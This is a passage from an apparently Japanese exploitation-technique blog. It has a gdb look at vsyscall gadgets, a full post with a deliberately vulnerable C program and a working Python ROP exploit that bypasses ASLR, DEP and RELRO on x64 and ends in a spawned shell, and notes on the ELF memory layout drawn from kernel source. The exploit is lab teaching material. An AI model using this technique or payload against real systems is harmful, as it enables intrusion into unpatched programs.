$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disable-randomization off (gdb) start Temporary breakpoint 1 at 0x400548 Starting program: /home/user/tmp/a.out warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff7ef56000 Temporary breakpoint 1, 0x0000000000400548 in main () (gdb) i proc map process 14144 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/user/tmp/a.out ... 0x7fff7ee6f000 0x7fff7ee90000 0x21000 0x0 [stack] 0x7fff7ef56000 0x7fff7ef58000 0x2000 0x0 [vdso] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] (gdb) x/10i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret 0xffffffffff60000a: int3 0xffffffffff60000b: int3 0xffffffffff60000c: int3 0xffffffffff60000d: int3 0xffffffffff60000e: int3 0xffffffffff60000f: int3 0xffffffffff600010: int3
上の結果から、syscall; ret
のアドレスとして0xffffffffff600007が使えそうなことがわかる。
そこで、raxレジスタに0(readシステムコール)をセットしジャンプしてみる。
(gdb) set $rax = 0 (gdb) jump *0xffffffffff600007 Continuing at 0xffffffffff600007. Program received signal SIGSEGV, Segmentation fault. 0xffffffffff600007 in ?? ()
上の結果から、readシステムコールは実行されずセグメンテーション違反で落ちていることがわかる。
これは、カーネルのboot optionとしてvsyscall=emulate
が指定されていることによるものである。
この場合、vsyscallページに直接ジャンプすることはできなくなる。
vsyscallパラメータは値としてemulateの他にnative、noneを取ることができ、nativeであれば上のようなgadgetを利用することが可能となる。
関連リンク
x64でROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避をやってみる
「ROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避」では、x86環境かつASLR+DEP+RELROが有効な条件下でlibcバイナリに依存しないシェル起動を行った。 ここでは、x64環境のもとで同様の方法によるASLR+DEP+RELRO回避をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; /* pop rdi; ret; pop rsi; ret; pop rdx; ret; */ char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3"; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではrdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
x86環境でのDT_DEBUG readおよびx64環境でのReturn-to-dl-resolveをもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400420 # readelf -S a.out addr_bss = 0x0000000000601010 # readelf -S a.out addr_plt_read = 0x400440 # objdump -d -j.plt a.out addr_plt_write = 0x400430 # objdump -d -j.plt a.out addr_dt_debug = 0x600ea0 # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_pop_rdi = 0x0040054f # 0x0040054f: pop rdi ; ret ; (1 found) addr_pop_rsi = 0x00400551 # 0x00400551: pop rsi ; ret ; (1 found) addr_pop_rdx = 0x00400557 # 0x00400557: pop rdx ; ret ; (1 found) addr_pop_rbp = 0x00400512 # 0x00400512: pop rbp ; ret ; (3 found) addr_leave_ret = 0x004005a6 # 0x004005a6: leave ; ret ; (1 found) stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x800 buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_pop_rdi) buf1 += struct.pack('<Q', 0) buf1 += struct.pack('<Q', addr_pop_rsi) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_pop_rdx) buf1 += struct.pack('<Q', 1000) buf1 += struct.pack('<Q', addr_plt_read) buf1 += struct.pack('<Q', addr_pop_rbp) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_leave_ret) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) buf2 = 'AAAAAAAA' # read dt_debug addr_esp = base_stage + 8 buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 1) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_dt_debug) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_write) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_esp + 8*17) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) # read r_debug and link_map addr_esp += 8*14 buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 1) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += 'AAAAAAAA' # addr_r_debug buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', size_bulkread) buf2 += struct.pack('<Q', addr_plt_write) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_esp + 8*17) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) # read link_map_lib addr_esp += 8*14 buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 1) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += 'AAAAAAAA' # addr_link_map_lib buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 40) buf2 += struct.pack('<Q', addr_plt_write) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_esp + 8*17) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) # read link_map_lib2 addr_esp += 8*14 buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 1) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += 'AAAAAAAA' # addr_link_map_lib2 buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 40) buf2 += struct.pack('<Q', addr_plt_write) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_esp + 8*17) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) # read lib_dynamic and lib_gotplt addr_esp += 8*14 buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 1) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += 'AAAAAAAA' # addr_lib_dynamic buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', size_bulkread) buf2 += struct.pack('<Q', addr_plt_write) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_esp + 8*17) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) # overwrite dt_versym addr_esp += 8*14 buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += 'AAAAAAAA' # addr_dt_versym buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_esp + 8*16) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 16) buf2 += struct.pack('<Q', addr_plt_read) # call dl_resolve addr_esp += 8*14 addr_reloc = addr_esp + 48 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', addr_cmd) buf2 += 'AAAAAAAA' # addr_dl_resolve buf2 += 'AAAAAAAA' # addr_link_map buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_bss) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (1000-len(buf2)) p.stdin.write(buf2) data = p.stdout.read(8) addr_r_debug = struct.unpack('<Q', data)[0] print "[+] addr_r_debug = %x" % addr_r_debug p.stdin.write(struct.pack('<Q', addr_r_debug)) data = p.stdout.read(size_bulkread) addr_link_map = struct.unpack('<Q', data[8:16])[0] offset = addr_link_map - addr_r_debug addr_link_map_lib = struct.unpack('<Q', data[offset+24:offset+32])[0] print "[+] addr_link_map, addr_link_map_lib = %x, %x" % (addr_link_map, addr_link_map_lib) p.stdin.write(struct.pack('<Q', addr_link_map_lib)) data = p.stdout.read(40) addr_link_map_lib2 = struct.unpack('<Q', data[24:32])[0] print "[+] addr_link_map_lib2 = %x" % addr_link_map_lib2 p.stdin.write(struct.pack('<Q', addr_link_map_lib2)) data = p.stdout.read(40) addr_lib_dynamic = struct.unpack('<Q', data[16:24])[0] print "[+] addr_lib_dynamic = %x" % addr_lib_dynamic p.stdin.write(struct.pack('<Q', addr_lib_dynamic)) data = p.stdout.read(size_bulkread) addr_lib_gotplt = struct.unpack('<Q', data.split('\x03\x00\x00\x00\x00\x00\x00\x00')[1][:8])[0] offset = addr_lib_gotplt - addr_lib_dynamic addr_dl_resolve = struct.unpack('<Q', data[offset+16:offset+24])[0] print "[+] addr_lib_gotplt, addr_dl_resolve = %x, %x" % (addr_lib_gotplt, addr_dl_resolve) p.stdin.write(struct.pack('<Q', addr_link_map+0x1c8)) p.stdin.write(struct.pack('<Q', 0)) p.stdin.write(struct.pack('<QQ', addr_dl_resolve, addr_link_map)) p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- read@plt関数を使い固定アドレスにデータを読み込み、pop ebp + leave retによるstack pivotを行う
- DT_DEBUG readにより、実行ファイルのlink_map構造体
l
および_dl_runtime_resolve関数のアドレスを取得する l->l_info[VERSYMIDX (DT_VERSYM)]
の値をNULLに書き換えた上で、Return-to-dl-resolveを行いsystem関数を呼び出す
また、ここでは実行ファイルのlink_map構造体から双方向リストを2回進めた先のライブラリについて、GOTセクションを読んでいる。 これは、1回進めた先のライブラリがlinux-vdso.soであり、これには_dl_runtime_resolve関数のアドレスが入っていないためである。 この双方向リストにおけるライブラリの並びは、lddコマンドによっても確認できる。
$ ldd a.out linux-vdso.so.1 => (0x00007fff36799000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fec74b4d000) /lib64/ld-linux-x86-64.so.2 (0x00007fec74f16000)
引数をセットし実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00' [+] addr_r_debug = 7f3cb1e212a0 [+] addr_link_map, addr_link_map_lib = 7f3cb1e212c8, 7f3cb1e21858 [+] addr_link_map_lib2 = 7f3cb1e1e4c0 [+] addr_lib_dynamic = 7f3cb1bf5b40 [+] addr_lib_gotplt, addr_dl_resolve = 7f3cb1bf5fe8, 7f3cb1c12200 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
x86環境の場合と同様の方法により、x64環境かつASLR+DEP+RELROが有効な条件下でlibcバイナリに依存せずシェルが起動できていることが確認できた。
関連リンク
ELF実行ファイルのメモリ配置はどのように決まるのか
Linux x64環境において、ELF実行ファイル、共有ライブラリ、スタック領域、ヒープ領域のアドレスがどのように決まるのかについてのメモ。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
実行時のメモリマップを確認してみる
まずは、ヒープ領域を使う適当なプログラムを用意する。
/* hello.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char *buf; buf = malloc(20); strncpy(buf, "Hello, world!", 20); puts(buf); return 0; }
$ gcc hello.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) b puts Breakpoint 1 at 0x400470 (gdb) r Starting program: /home/user/tmp/a.out warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 Breakpoint 1, 0x00007ffff7a8ace0 in puts () from /lib/x86_64-linux-gnu/libc.so.6 (gdb) i proc process 5927 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' (gdb) shell cat /proc/5927/maps 00400000-00401000 r-xp 00000000 08:01 1182040 /home/user/tmp/a.out 00600000-00601000 r--p 00000000 08:01 1182040 /home/user/tmp/a.out 00601000-00602000 rw-p 00001000 08:01 1182040 /home/user/tmp/a.out 00602000-00623000 rw-p 00000000 00:00 0 [heap] 7ffff7a1a000-7ffff7bcf000 r-xp 00000000 08:01 2097169 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff7bcf000-7ffff7dcf000 ---p 001b5000 08:01 2097169 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff7dcf000-7ffff7dd3000 r--p 001b5000 08:01 2097169 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff7dd3000-7ffff7dd5000 rw-p 001b9000 08:01 2097169 /lib/x86_64-linux-gnu/libc-2.15.so 7ffff7dd5000-7ffff7dda000 rw-p 00000000 00:00 0 7ffff7dda000-7ffff7dfc000 r-xp 00000000 08:01 2097185 /lib/x86_64-linux-gnu/ld-2.15.so 7ffff7fee000-7ffff7ff1000 rw-p 00000000 00:00 0 7ffff7ff8000-7ffff7ffa000 rw-p 00000000 00:00 0 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 2097185 /lib/x86_64-linux-gnu/ld-2.15.so 7ffff7ffd000-7ffff7fff000 rw-p 00023000 08:01 2097185 /lib/x86_64-linux-gnu/ld-2.15.so 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] (gdb) quit
ここで、gdbがASLRを無効にしていることに注意する。 上の結果から、主なアドレスをまとめると次のようになる。
- 0x400000: 実行ファイルの実行可能領域
- 0x600000: 実行ファイルの実行不可領域
- 0x602000: ヒープ領域
- 0x7ffff7a1a000: 共有ライブラリ(libc)
- 0x7ffffffde000: スタック領域
実行ファイルのメモリ配置について
実行ファイルのメモリ配置は、PIEでない場合リンク時に決まる。 readelfコマンドでセクション情報を表示させると、アドレスの項目に実際のアドレスが入っていることがわかる。
$ readelf -S a.out There are 30 section headers, starting at offset 0x1148: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 (snip) [18] .ctors PROGBITS 0000000000600e28 00000e28 0000000000000010 0000000000000000 WA 0 0 8 [19] .dtors PROGBITS 0000000000600e38 00000e38 0000000000000010 0000000000000000 WA 0 0 8 (snip) [25] .bss NOBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 (snip)
このアドレスは、リンカが使うリンカスクリプトによって決められている。 コンパイル時にリンカにverboseオプションをつけると、使われているリンカスクリプトを表示させることができる。
$ gcc -Wl,--verbose hello.c GNU ld (GNU Binutils for Ubuntu) 2.22 Supported emulations: elf_x86_64 elf32_x86_64 elf_i386 i386linux elf_l1om elf_k1om using internal linker script: ================================================== /* Script for -z combreloc: combine and sort reloc sections */ OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") OUTPUT_ARCH(i386:x86-64) ENTRY(_start) SEARCH_DIR("/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib64"); SEARCH_DIR(" =/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SECTIONS { /* Read-only sections, merged into text segment: */ PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS; .interp : { *(.interp) } .note.gnu.build-id : { *(.note.gnu.build-id) } .hash : { *(.hash) } .gnu.hash : { *(.gnu.hash) } .dynsym : { *(.dynsym) } .dynstr : { *(.dynstr) } (snip) /* Adjust the address for the data segment. We want to adjust up to the same address within the page on the next page up. */ . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE)); (snip) } ================================================== attempt to open /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crt1.o succeeded /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crt1.o attempt to open /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crti.o succeeded /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crti.o (snip) attempt to open /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crtn.o succeeded /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crtn.o ld-linux-x86-64.so.2 needed by /lib/x86_64-linux-gnu/libc.so.6 found ld-linux-x86-64.so.2 at /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。
対応するソースコードは、GNU binutilsのldディレクトリにある。 リンカスクリプトのELF用テンプレートは次のファイルである。
テンプレート中で参照されているTEXT_START_ADDR
は次のファイルで定義されている。
TEXT_START_ADDR=0x400000 MAXPAGESIZE="CONSTANT (MAXPAGESIZE)" COMMONPAGESIZE="CONSTANT (COMMONPAGESIZE)"
ここで、CONSTANT (MAXPAGESIZE)
、CONSTANT (COMMONPAGESIZE)
の値には、次のファイルの定義が参照される。
#define ELF_MAXPAGESIZE 0x200000 #define ELF_MINPAGESIZE 0x1000 #define ELF_COMMONPAGESIZE 0x1000
上の定義においてELF_MAXPAGESIZE
が0x200000であるため、データセグメントは0x400000+0x200000=0x600000から始まることとなる。
なお、これらの値はリンカオプションにより変更することも可能である。
$ gcc -Wl,-Ttext-segment=0x8048000,-z,max-page-size=0x1000 hello.c $ readelf -S a.out There are 30 section headers, starting at offset 0x1158: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000008048238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000008048254 00000254 0000000000000020 0000000000000000 A 0 0 4 ... [18] .ctors PROGBITS 0000000008049e28 00000e28 0000000000000010 0000000000000000 WA 0 0 8 [19] .dtors PROGBITS 0000000008049e38 00000e38 0000000000000010 0000000000000000 WA 0 0 8 ...
共有ライブラリのメモリ配置について
共有ライブラリは、実行ファイルで指定されたELFインタプリタ(/lib/ld-linux.so.2)がmmapにより配置する。 具体的には、次のような順序で関数が呼ばれていく。
[sysdeps/x86_64/dl-machine.h] _start [elf/rtld.c] _dl_start [elf/rtld.c] _dl_start_final [elf/dl-sysdep.c] _dl_sysdep_start [elf/rtld.c] dl_main [elf/dl-deps.c] _dl_map_object_deps [include/dlfcn.h] _dl_catch_error [elf/dl-deps.c] openaux [elf/dl-load.c] _dl_map_object [elf/dl-load.c] _dl_map_object_from_fd
setarchコマンドでASLRを無効化した上で、straceコマンドを使い実行時のシステムコールをトレースしてみる。
$ setarch x86_64 -R strace ./a.out >/dev/null execve("./a.out", ["./a.out"], [/* 18 vars */]) = 0 brk(0) = 0x1402000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=26780, ...}) = 0 mmap(NULL, 26780, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff1000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200\30\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1815224, ...}) = 0 mmap(NULL, 3929304, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7a1a000 mprotect(0x7ffff7bcf000, 2097152, PROT_NONE) = 0 mmap(0x7ffff7dcf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b5000) = 0x7ffff7dcf000 mmap(0x7ffff7dd5000, 17624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd5000 close(3) = 0 ... write(1, "Hello, world!\n", 14) = 14 exit_group(0) = ?
上の結果から、libcのメモリを確保する際におけるmmapの第一引数はNULLとなっており、実際に配置されるアドレス0x7ffff7a1a000はmmapが決めていることがわかる。
mmapが確保するメモリアドレスの初期値は、LinuxカーネルがELF実行ファイルを読み込む際に決められる。 具体的には、次のような順序で関数が呼ばれていく。
[fs/binfmt_elf.c] load_elf_binary [fs/exec.c] setup_new_exec [arch/x86/mm/mmap.c] arch_pick_mmap_layout [arch/x86/mm/mmap.c] mmap_base
ここで、mmap_base関数は次のようになっている。
54 #define MIN_GAP (128*1024*1024UL + stack_maxrandom_size()) 55 #define MAX_GAP (TASK_SIZE/6*5) ... 85 static unsigned long mmap_base(void) 86 { 87 unsigned long gap = rlimit(RLIMIT_STACK); 88 89 if (gap < MIN_GAP) 90 gap = MIN_GAP; 91 else if (gap > MAX_GAP) 92 gap = MAX_GAP; 93 94 return PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd()); 95 }
ASLRが無効の場合、stack_maxrandom_size()
かつmmap_rnd() == 0
となる。
ここで、rlimit(RLIMIT_STACK)
の値をulimitコマンドで調べてみると次のようになる。
$ ulimit -s 8192
ulimitコマンドはキロバイト単位、rlimit(RLIMIT_STACK)
はバイト単位であるため、この場合gap == 8192*1024
となる。
これはMIN_GAP
よりも小さいため、gapはMIN_GAP
に補正される。
また、TASK_SIZE
に関する定義をまとめると次のようになる。
- Linux/arch/x86/include/asm/processor.h
- Linux/arch/x86/include/asm/page_types.h
- Linux/include/uapi/linux/const.h
833 #ifdef CONFIG_X86_32 ... 893 #else 894 /* 895 * User space process size. 47bits minus one guard page. 896 */ 897 #define TASK_SIZE_MAX ((1UL << 47) - PAGE_SIZE) 898 899 /* This decides where the kernel will search for a free chunk of vm 900 * space during mmap's. 901 */ 902 #define IA32_PAGE_OFFSET ((current->personality & ADDR_LIMIT_3GB) ? \ 903 0xc0000000 : 0xFFFFe000) 904 905 #define TASK_SIZE (test_thread_flag(TIF_ADDR32) ? \ 906 IA32_PAGE_OFFSET : TASK_SIZE_MAX) 907 #define TASK_SIZE_OF(child) ((test_tsk_thread_flag(child, TIF_ADDR32)) ? \ 908 IA32_PAGE_OFFSET : TASK_SIZE_MAX) 909 910 #define STACK_TOP TASK_SIZE 911 #define STACK_TOP_MAX TASK_SIZE_MAX ... 935 #endif /* CONFIG_X86_64 */
7 /* PAGE_SHIFT determines the page size */ 8 #define PAGE_SHIFT 12 9 #define PAGE_SIZE (_AC(1,UL) << PAGE_SHIFT) 10 #define PAGE_MASK (~(PAGE_SIZE-1))
19 #define __AC(X,Y) (X##Y) 20 #define _AC(X,Y) __AC(X,Y)
以上をもとに、mmap_baseが返すアドレスを計算してみる。
$ python Python 2.7.3 (default, Feb 27 2014, 19:58:35) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> PAGE_SHIFT = 12 >>> PAGE_SIZE = 1L << PAGE_SHIFT >>> TASK_SIZE_MAX = (1L << 47) - PAGE_SIZE >>> TASK_SIZE = TASK_SIZE_MAX >>> MIN_GAP = 128*1024*1024L >>> hex(TASK_SIZE) '0x7ffffffff000L' >>> hex(TASK_SIZE - MIN_GAP) '0x7ffff7fff000L'
これは、一番最初にmmapで配置されるld-linux.soのメモリ領域の底となっている。
スタック領域のメモリ配置について
スタック領域のメモリ配置も、LinuxカーネルがELF実行ファイルを読み込む際に決められる。 具体的には、binfmt_elf.cのload_elf_binary関数にある次のコードが対応する。
737 /* Do this so that we can load the interpreter, if need be. We will 738 change some of these later */ 739 retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP), 740 executable_stack); 741 if (retval < 0) { 742 send_sig(SIGKILL, current, 0); 743 goto out_free_dentry; 744 } 745 746 current->mm->start_stack = bprm->p;
ASLRが無効な場合、randomize_stack_top(STACK_TOP) == STACK_TOP
となる。
共有ライブラリのパートで示した定義を参照すると、STACK_TOP == TASK_SIZE == 0x7ffffffff000
であることがわかる。
これはスタック領域の底となっている。
この後は、setup_arg_pages関数にある次のコードによりスタックサイズが決められ、その分の領域が確保される。
